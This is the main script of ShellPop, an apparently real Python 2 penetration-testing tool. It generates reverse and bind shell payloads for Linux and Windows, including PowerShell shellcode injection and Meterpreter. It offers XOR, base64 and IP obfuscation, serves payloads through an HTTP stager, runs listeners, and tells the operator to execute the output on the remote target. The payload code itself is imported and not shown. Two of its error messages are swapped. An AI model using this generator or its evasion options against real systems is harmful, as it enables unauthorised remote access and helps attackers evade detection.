#!/usr/bin/python2
# Description:
# ShellPop is program to aid penetration testers
# generating quick and dirty reverse/bind shell 
# code to get on with the pentests.
# ==========
# History:
# Written by zc00l in 2018-03-7

# Contributors
# ===================================================
# LowFuel contributed to the project in 27/04/2018
#   Github: https://github.com/SouAquele
# Touhid Shaikh joined the project in 29/04/2018
#   Github: https://github.com/touhidshaikh


import pyperclip
import netifaces
import argcomplete
from argparse import ArgumentParser
from sys import stderr
from random import randint
from multiprocessing import Process

# package import
from shellpop import *


# Get current Operational System
write = stderr.write
flush = stderr.flush
version = 0.36  # updated 04/06/2018

AVAILABLE_SHELLS = [
        
        # Bind shell list
        {
            # Introducing the new Shell object to hold
            # Information about the shells. Look below.
            1: Shell("Python TCP +pty",  # name
                "python",
                "bind",  # shell type
                "tcp", # protocol
                BIND_PYTHON_TCP(),  # code
                system="linux",
                lang="python",
                arch="Independent",
                use_handler=bind_tcp_pty_handler,
                use_http_stager=LINUX_STAGERS),

            2: Shell("Python UDP",
                "python", 
                "bind",
                "udp",
                BIND_PYTHON_UDP(),
                system="linux",
                lang="python",
                arch="Independent",
                use_handler=None,
                use_http_stager=LINUX_STAGERS),

            3: Shell("Perl TCP",
                "perl" ,
                "bind",
                "tcp",
                BIND_PERL_TCP(),
                system="linux",
                lang="perl",
                arch="Independent",
                use_handler=bind_tcp_handler,
                use_http_stager=LINUX_STAGERS),

            4: Shell("Perl UDP",
                "perl", 
                "bind",
                "udp",
                BIND_PERL_UDP(),
                system="linux",
                lang="perl",
                arch="Independent", 
                use_handler=None,
                use_http_stager=LINUX_STAGERS),

            5: Shell("PHP TCP",
                "php",
                "bind",
                "tcp",
                BIND_PHP_TCP(),
                system="linux",
                lang="php",
                arch="Independent",
                use_handler=bind_tcp_handler,
                use_http_stager=LINUX_STAGERS),

            6: Shell("PHP UDP",
                "php",
                "bind",
                "udp", 
                BIND_PHP_UDP(),
                system="linux",
                lang="php",
                arch="Independent",
                use_handler=None,
                use_http_stager=LINUX_STAGERS),

            7: Shell("Ruby TCP",
                "ruby", 
                "bind",
                "tcp",
                BIND_RUBY_TCP(),
                system="linux",
                lang="ruby",
                arch="Independent",
                use_handler=bind_tcp_handler,
                use_http_stager=LINUX_STAGERS),

            8: Shell("Ruby UDP",
                "ruby", 
                "bind",
                "udp",
                BIND_RUBY_UDP(),
                system="linux",
                lang="ruby",
                arch="Independent",
                use_handler=None,
                use_http_stager=LINUX_STAGERS),

            9: Shell("Netcat (OpenBSD) TCP",
                "netcat_openbsd",
                "bind",
                "tcp",
                BIND_NETCAT_TCP(),
                system="linux",
                lang="bash",
                arch="Independent",
                use_handler=bind_tcp_handler,
                use_http_stager=LINUX_STAGERS),

            10: Shell("Netcat+coproc (OpenBSD) UDP",
                "netcat_openbsd",
                "bind",
                "udp",
                BIND_NETCAT_OPENBSD_UDP(),
                system="linux",
                lang="bash",
                arch="Independent",
                use_handler=None,
                use_http_stager=LINUX_STAGERS),

            11: Shell("Netcat (Traditional) TCP",
                "netcat_traditional",
                "bind",
                "tcp",
                BIND_NETCAT_TRADITIONAL_TCP(),
                system="linux",
                lang="bash",
                arch="Independent",
                use_handler=bind_tcp_handler,
                use_http_stager=LINUX_STAGERS),

            12: Shell("AWK TCP",
                "awk",
                "bind",
                "tcp",
                BIND_AWK_TCP(),
                system="linux",
                lang="bash",
                arch="Independent",
                use_handler=bind_tcp_handler,
                use_http_stager=LINUX_STAGERS),

            13: Shell("socat UDP",
                "awk",
                "bind",
                "udp",
                BIND_SOCAT_UDP(),
                system="linux",
                lang="bash",
                arch="Independent",
                use_handler=None,
                use_http_stager=LINUX_STAGERS),

            14: Shell("Windows Powershell TCP",
                "powershell",
                "bind",
                "tcp",
                BIND_POWERSHELL_TCP(),
                system="windows",
                lang="powershell",
                arch="x86 / x64",
                use_handler=bind_tcp_handler,
                use_http_stager=[WINDOWS_STAGERS[0]]),

            15: Shell("Windows Powershell Nishang TCP",
                "powershell_nishang",
                "bind",
                "tcp",
                BIND_POWERSHELL_NISHANG_TCP(),
                system="windows",
                lang="powershell",
                arch="x86 / x64",
                use_handler=bind_tcp_handler,
                use_http_stager=[(1, PurePowershell_HTTP_Stager)])
        },

        # Reverse shell list
        {
            1: Shell("Python TCP +pty",
                "python",
                "reverse",
                "tcp",
                REV_PYTHON_TCP(),
                system="linux",
                lang="python",
                arch="Independent",
                use_handler=reverse_tcp_pty_handler,
                use_http_stager=LINUX_STAGERS),

            2: Shell("Python UDP",
                "python",
                "reverse",
                "udp",
                REV_PYTHON_UDP(),
                system="linux",
                lang="python",
                arch="Independent",
                use_handler=None,
                use_http_stager=LINUX_STAGERS),

            3: Shell("PHP TCP",
                "php",
                "reverse",
                "tcp",
                REV_PHP_TCP(),
                system="linux",
                lang="php",
                arch="Independent",
                use_handler=reverse_tcp_handler,
                use_http_stager=LINUX_STAGERS),

            4: Shell("Ruby TCP",
                "ruby",
                "reverse",
                "tcp",
                REV_RUBY_TCP(),
                system="linux",
                lang="ruby",
                arch="Independent",
                use_handler=reverse_tcp_handler,
                use_http_stager=LINUX_STAGERS),

            5: Shell("Perl TCP 01",
                "perl_1",
                "reverse",
                "tcp",
                REV_PERL_TCP(),
                system="linux",
                lang="perl",
                arch="Independent",
                use_handler=reverse_tcp_handler,
                use_http_stager=LINUX_STAGERS),

            6: Shell("Perl TCP 02",
                "perl_2",
                "reverse",
                "tcp",
                REV_PERL_TCP_2(),
                system="linux",
                lang="perl",
                arch="Independent",
                use_handler=reverse_tcp_handler,
                use_http_stager=LINUX_STAGERS),

            7: Shell("Perl UDP [nc -lkvup PORT]",
                "perl",
                "reverse",
                "udp",
                REV_PERL_UDP(),
                system="linux",
                lang="perl",
                arch="Independent",
                use_handler=None,
                use_http_stager=LINUX_STAGERS),

            8: Shell("Bash TCP",
                "bash",
                "reverse",
                "tcp",
                BASH_TCP(),
                system="linux",
                lang="bash",
                arch="Independent",
                use_handler=reverse_tcp_handler,
                use_http_stager=LINUX_STAGERS),

            9: Shell("Windows Powershell TCP",
                "powershell",
                "reverse",
                "tcp",
                REV_POWERSHELL_TCP(),
                system="windows",
                lang="powershell",
                arch="x86 / x64",
                use_handler=reverse_tcp_handler,
                use_http_stager=[WINDOWS_STAGERS[0]]),

            10: Shell("TCLsh TCP",
                "tclsh",
                "reverse",
                "tcp",
                REVERSE_TCLSH(),
                system="linux",
                lang="bash",
                arch="Independent",
                use_handler=reverse_tcp_handler,
                use_http_stager=LINUX_STAGERS),

            11: Shell("Ncat TCP",
                "ncat",
                "reverse",
                "tcp",
                REVERSE_NCAT(),
                system="linux",
                lang="bash",
                arch="Independent",
                use_handler=reverse_tcp_handler,
                use_http_stager=LINUX_STAGERS),

            12: Shell("Ncat SSL TCP",
                "ncat_ssl",
                "reverse",
                "tcp",
                REVERSE_NCAT_SSL(),
                system="linux",
                lang="bash",
                arch="Independent",
                use_handler=reverse_tcp_handler,
                use_http_stager=LINUX_STAGERS),

            13: Shell("Netcat (Traditional) UDP",
                "netcat_traditional",
                "reverse",
                "udp",
                REVERSE_NC_UDP_1(),
                system="linux",
                lang="bash",
                arch="Independent",
                use_handler=None,
                use_http_stager=LINUX_STAGERS),

            14: Shell("Netcat (Traditional) TCP",
                "netcat_traditional",
                "reverse",
                "tcp",
                REVERSE_NC_TRADITIONAL_1(),
                system="linux",
                lang="bash",
                arch="Independent",
                use_handler=reverse_tcp_handler,
                use_http_stager=LINUX_STAGERS),

            15: Shell("Netcat (OpenBSD) mkfifo TCP",
                "netcat_openbsd",
                "reverse",
                "tcp",
                REVERSE_MKFIFO_NC(),
                system="linux",
                lang="bash",
                arch="Independent",
                use_handler=reverse_tcp_handler,
                use_http_stager=LINUX_STAGERS),

            16: Shell("Netcat (OpenBSD) mknod TCP",
                "netcat_openbsd",
                "reverse",
                "tcp",
                REVERSE_MKNOD_NC(),
                system="linux",
                lang="bash",
                arch="Independent",
                use_handler=reverse_tcp_handler,
                use_http_stager=LINUX_STAGERS),

            17: Shell("Telnet mkfifo TCP",
                "telnet_mkfifo",
                "reverse",
                "tcp",
                REVERSE_MKFIFO_TELNET(),
                system="linux",
                lang="bash",
                arch="Independent",
                use_handler=reverse_tcp_handler,
                use_http_stager=LINUX_STAGERS),

            18: Shell("Telnet mknod TCP",
                "telnet_mknod",
                "reverse",
                "tcp",
                REVERSE_MKNOD_TELNET(),
                system="linux",
                lang="bash",
                arch="Independent",
                use_handler=reverse_tcp_handler,
                use_http_stager=LINUX_STAGERS),

            19: Shell("openssl TCP",
                "openssl",
                "reverse",
                "tcp",
                REVERSE_OPENSSL(),
                system="linux",
                lang="bash",
                arch="Independent",
                use_handler=reverse_tcp_handler,
                use_http_stager=LINUX_STAGERS),

            20: Shell("socat TCP",
                "socat",
                "reverse",
                "tcp",
                REVERSE_SOCAT(),
                system="linux",
                lang="bash",
                arch="Independent",
                use_handler=reverse_tcp_handler,
                use_http_stager=LINUX_STAGERS),

            21: Shell("awk TCP",
                "awk",
                "reverse",
                "tcp",
                REVERSE_AWK(),
                system="linux",
                lang="bash",
                arch="Independent",
                use_handler=reverse_tcp_handler,
                use_http_stager=LINUX_STAGERS),

            22: Shell("awk UDP",
                "awk",
                "reverse",
                "udp",
                REVERSE_AWK_UDP(),
                system="linux",
                lang="bash",
                arch="Independent",
                use_handler=None,
                use_http_stager=LINUX_STAGERS),
            
            23: Shell("Windows Bat2Ncat TCP",
                "bat2exe_ncat",
                "reverse",
                "tcp",
                REVERSE_WINDOWS_NCAT_TCP(),
                system="windows",
                lang="cmd",
                arch="x86 / x64",
                use_handler=reverse_tcp_handler,
                use_http_stager=list(filter(lambda x: x[0] not in [3, 1], WINDOWS_STAGERS))),

            24: Shell("Windows Powershell Shellcode-Injection a.k.a BloodSeeker TCP - x64",
                "powershell_shellcode_injection",
                "reverse",
                "tcp",
                REVERSE_WINDOWS_BLOODSEEKER_TCP(),
                system="windows",
                lang="powershell",
                arch="x64",
                use_handler=None,
                use_http_stager=[(1, PurePowershell_HTTP_Stager)]),  # This will only work with powershell.
            
            25: Shell("Windows Powershell Tiny TCP",
                "powershell_tiny",
                "reverse",
                "tcp",
                REVERSE_POWERSHELL_TINY_TCP(),
                system="windows",
                lang="powershell",
                arch="x86 / x64",
                use_handler=reverse_tcp_handler,
                use_http_stager=[WINDOWS_STAGERS[0]]),

            26: Shell("Windows Powershell Nishang TCP",
                "powershell_nishang",
                "reverse",
                "tcp",
                REVERSE_POWERSHELL_NISHANG_TCP(),
                system="windows",
                lang="powershell",
                arch="x86 / x64",
                use_handler=reverse_tcp_handler,
                use_http_stager=[(1, PurePowershell_HTTP_Stager)]),

            27: Shell("Windows Powershell Nishang ICMP",
                "powershell_nishang",
                "reverse",
                "icmp",
                REVERSE_POWERSHELL_ICMP(),
                system="windows",
                lang="powershell",
                arch="x86 / x64",
                use_handler=None,
                use_http_stager=[(1, PurePowershell_HTTP_Stager)]),

            28: Shell("Windows Bat2Meterpreter TCP",
                "bat2meterpreter",
                "reverse",
                "tcp",
                REVERSE_WINDOWS_BAT2METERPRETER_TCP(),
                system="windows",
                lang="cmd",
                arch="x86 / x64",
                use_handler=None,
                use_http_stager=list(filter(lambda x: x[0] not in [1, 3], WINDOWS_STAGERS))),

            29: Shell("Groovy TCP",
                "groovy",
                "reverse",
                "tcp",
                REVERSE_GROOVY_TCP(),
                system="multi",
                lang="grovvy",
                arch="Independent",
                use_handler=reverse_tcp_handler,
                use_http_stager=list(filter(lambda x: x[0] not in [1], WINDOWS_STAGERS))),
        }
    ]

bind_shells = AVAILABLE_SHELLS[0]
reverse_shells = AVAILABLE_SHELLS[1]


def proto_colorize(shell_name):
    """
    This code is responsible to colorize
    the protocol of bind/reverse shells name.
    """
    proto_avail = [
            ("UDP", "94"), 
            ("TCP", "93"),
            ("ICMP", "92"), ]  # available protocols to colorize.
    for proto in proto_avail:
        if proto[0] in shell_name:
            shell_name = shell_name.replace(proto[0], "\033[{0}m{1}\033[0m".format(proto[1], proto[0]))
    return shell_name


def list_shells():
    write(info("\033[1mBind shells\033[0m:\n\n"))
    for i in range(1, len(bind_shells)+1):
        obj = bind_shells[i]
        print("{0}. {1}".format(str(i).rjust(3), proto_colorize(obj.name)))
    
    write("\n\n")
    write(info("\033[1mReverse shells\033[0m:\n\n"))
    for i in range(1, len(reverse_shells)+1):
        obj = reverse_shells[i]
        print("{0}. {1}".format(str(i).rjust(3), proto_colorize(obj.name)))
    return 0


def check_shell_number(number, reverse=True):
    """
    Check if the number supplied is not too high.
    @zc00l
    """
    if reverse is True:
        if number > len(reverse_shells):
            return None
    else:
        if number > len(bind_shells):
            return None
    return True


def header():
    contributors = ["@zc00l", "@touhidshaikh", "@lowfuel"]
    return "\033[093mshellpop\033[0m v{0}\n\033[93mContributors\033[0m: {1}\n\n".format(version,
                                                                                        ','.join([x for x in
                                                                                                  contributors]))


def select_shell(args, shell_type, shell_index):

    # Update algorithm after the new introduced Shell object.
    # This function used to return a string, containing the 
    # final payload code. Now it returns a Shell() object.
    # This Shell() object has the final payload in the 'pay-
    # load' attribute.

    if shell_type == "reverse":
        for shell in reverse_shells:
            obj = reverse_shells[shell]
            if shell == shell_index:
                code = obj.code
                name = obj.name
                lang = obj.lang
                rev = ReverseShell(name, lang, args, code)
                generated = rev.get()
                obj.payload = generated
                return obj

    elif shell_type == "bind":
        for shell in bind_shells:
            obj = bind_shells[shell]
            if shell == shell_index:
                code = obj.code
                name = obj.name
                lang = obj.lang
                bind = BindShell(name, lang, args, code)
                generated = bind.get()
                obj.payload = generated
                return obj


# Completer function for tab-completion.
def get_shells(prefix, parsed_args, **kwargs):
    all_shells = reverse_shells.values()
    all_shells.extend(bind_shells.values())
    return [x.get_full_name() for x in all_shells]


def get_shell_number(str_data, dataset):
    """
    Returns the correct integer from shell lists using a short_name
    @zc00l
    """
    for shell in dataset:
        obj = dataset[shell]
        if obj.get_full_name() == str_data:
            return shell
    return None


def main():
    parser = ArgumentParser(epilog='Pop shells like a master. For more help visit:https://github.com/0x00-0x00/ShellPop')
    parser._optionals.title = "Options"

    # List mode
    parser.add_argument("-l", "--list", help="List of available shells", action="store_true")
    
    # Program parameters
    parser.add_argument("-H", "--host", type=str, help="IP to be used in connectback (reverse) shells.")
    parser.add_argument("-P", "--port", type=int, help="Port to be used in reverse/bind shell code.")
    parser.add_argument("--number", type=int, help="Shell code index number", required=False)
    parser.add_argument("--shell", type=str, default="",
                        help="Terminal shell to be used when decoding some encoding scheme.", required=False)

    # Shell Type
    payload_arg = parser.add_argument_group('Shell Types')
    payload_arg.add_argument("--reverse", action="store_true",
                             help="Victim communicates back to the attacking machine.")
    payload_arg.add_argument("--bind", action="store_true", help="Open up a listener on the victim machine.")
    #payload_arg.add_argument("-M", "--meterpreter", action="store_true", help="Upgrades shell to a meterpreter session.")
    
    # Alternative way to select shell payloads, using auto-tab completion.
    payload_arg.add_argument("--payload", required=False, help="Choose the payload").completer = get_shells

    # Available encodings
    encoders = parser.add_argument_group('Encoders Options')
    encoders.add_argument("--xor", action="store_true",help="Enable XOR obfuscation", required=False)
    encoders.add_argument("--base64", action="store_true", required=False, help="Encode command in base64.")
    encoders.add_argument("--urlencode", action="store_true", required=False,
                          help="Encode the command in URL encoding.")

    # Obfuscation options
    obfuscation = parser.add_argument_group("Obfuscation Options")
    obfuscation.add_argument("--ipfuscate", action="store_true", required=False, help="Obfuscate IP address.")
    obfuscation.add_argument("--obfuscate-small", action="store_true", default=False, required=False, help="Obfuscated \
    command will be as small as possible.")

    # Use handler if possible.
    parser.add_argument("--handler", action="store_true", help="Use handler, if possible.", default=False,
                        required=False)

    # Staging
    stagingarg = parser.add_argument_group("Staging Options")
    # Use staging
    stagingarg.add_argument("--stager", type=str, help="Use staging for shells", required=False)
    # Http-staging options
    stagingarg.add_argument("--http-port", type=int, help="HTTP staging port to be used", required=False)

    # Powershell features
    powershell_arg = parser.add_argument_group("PowerShell options")
    powershell_arg.add_argument("--powershell-x86", action="store_true", help="Use powershell 32-bit executable.")
    powershell_arg.add_argument("--powershell-x64", action="store_true", help="Use powershell 64-bit executable.")
    powershell_arg.add_argument("--powershell-random-case", action="store_true", help="Use random-case in powershell \
    payloads.")

    # Miscellaneous
    miscarg = parser.add_argument_group("Miscellaneous")

    # Send it to clipboard
    miscarg.add_argument("--clip", action="store_true", help="Copy payload to your clipboard automatically.",
                         default=False, required=False)

    argcomplete.autocomplete(parser)  # register it to auto-completion
    args = parser.parse_args()
    if args.list:
        write(header())
        list_shells()
        exit(0)

    if args.payload is not None and len(args.payload) > 0:
        # Use the --payload argument to choose automatically the correct number.
        reverse_int = get_shell_number(args.payload, reverse_shells)
        bind_int = get_shell_number(args.payload, bind_shells)
        
        if reverse_int:
            args.reverse = True  # this sets --reverse
            args.number = reverse_int  # this sets --number
        elif bind_int:
            args.bind = True
            args.number = bind_int
        else:
            print(error("Error: Your --payload flag is invalid."))
            exit(1)
        
    if type(args.number) is not int:
        write(header())
        print(error("Error: You need to select a shell using --number. To list shells use: --list"))
        print(error("For Help use: --help or -h options"))
        exit(1)

    if args.reverse is True and args.bind is True:
        write(header())
        print(error("Error: You must select --reverse or --bind"))
        exit(1)

    if args.reverse is not True and args.bind is not True:
        write(header())
        print(error("Error: You can't select both --reverse and --bind options."))
        exit(1)

    if args.host in [str(x) for x in netifaces.interfaces()]:
        args.host = str(netifaces.ifaddresses(args.host)[2][0]["addr"])  # translate iface name to ipv4

    if args.xor is True:
        args.xor = randint(0, 255)
    else:
        args.xor = 0  # no Xor encoding!

    if args.reverse is True:
        if not check_shell_number(args.number, reverse=True):
            print(error("Error: Invalid reverse shell number."))
            exit(1)
        if args.host is None:
            print(error("Error: You need to set the listener IP address with --host"))
            exit(1)
        if args.port is None:
            print(error("Error: You need to set the listener port number with --port"))
            exit(1)
        shell = select_shell(args, "reverse", args.number)
        if shell.handler is not None:
            shell.handler_args = (args, shell)
    else:
        if not check_shell_number(args.number, reverse=False):
            print(error("Invalid bind shell number."))
            exit(1)
        if args.port is None:
            print(error("Error: You need to set the remote port number to listen with --port"))
            exit(1)
        shell = select_shell(args, "bind", args.number)
        if args.handler is not False:
            if args.host is None:
                args.host = raw_input("[\033[092m*\033[0m] Remote host IP address: ")
            shell.handler_args = (args, shell)

    # This is the spot for stagers.
    # First, we need to detect if the operator
    # wants it.
    stager = None  # this is a local scope variable now.
    stager_thread = None
    stager_payload = None
    old_dir = os.getcwd()  # initialize current working directory.

    if args.stager is not None:

        # He wants stager.
        if args.stager == "http": # He chose http stager.
            if shell.use_http_stager is False:
                print(info("This shell does not supports HTTP staging."))
            else:
                # This is the HTTP stager code.
                # I will try to host a HTTP server in the following ports:
                ports = [80, 8080, 8081]
                ports.insert(0, args.http_port) if args.http_port is not None else None

                os.chdir("/tmp")  # currently only linux.
                # /tmp because it is where we are going to host our payloads

                for port in ports:
                    stager = HTTPServer(port)
                    if stager.check_port() is True:
                        # This check is needed because --xor for windows is only available with powershell.
                        if args.xor != 0 and "powershell" in shell.name.lower():
                            # Windows Powershell XOR encoding will only work with Powershell HTTP staging.
                            shell.use_http_stager = [(1, Powershell_HTTP_Stager)]
                        
                        # Choose the stager option
                        if len(shell.use_http_stager) == 1:
                            shell.use_http_stager = shell.use_http_stager[0][1]
                        else:
                            shell.use_http_stager = choose_stager(shell.use_http_stager) # choose a stager.
                            if shell.use_http_stager is None:
                                # Make sure there is a selected staging option.
                                print(error("You have selected an invalid staging option."))
                                exit(1)
                        stager_thread = Process(target=stager.start, args=())
                        stager_thread.start()
                        print(info("Started HTTP server at port {0}".format(port)))

                        payload_file = generate_file_name()
                        with open(payload_file, "w") as f:
                            f.write(shell.payload)
                        print(info("Staged file has been named '{0}'".format(payload_file)))
                        stager_payload = shell.use_http_stager((args.host, port), args, payload_file).get()
                        break
                    else:
                        print(error("Cant use port {0} as HTTP server port.".format(port)))

    to_be_executed = shell.payload if stager is None else stager_payload

    if args.clip is True:
        pyperclip.copy(to_be_executed)
        print(info("ShellPop code has been copied to clipboard."))

    print(info("Execute this code in remote target: \n\n{0}\n".format(to_be_executed)))
    
    if shell.handler is not None and args.handler is True:
        print(info("Starting shell handler ..."))
        try:
            shell.handler(shell.handler_args)
        except KeyboardInterrupt:
            print(info("Killing handler ..."))
            sys.exit()
        except IOError:
            print(info("Port Already used by another Program or Something Wrong..."))
            sys.exit()
    else:
        print(info("This shell DOES NOT have a handler set."))
    
    # Handle staging.
    if stager is not None:
        print(info("Press CTRL+C to interrupt the HTTP stager ..."))
        try:
            while 1:
                sleep(10)
        except KeyboardInterrupt:
            print(info("Killing HTTP server ..."))
            stager_thread.terminate()
            os.chdir(old_dir)  # restore working directory.
    return 0x0


if __name__ == "__main__":
    main()
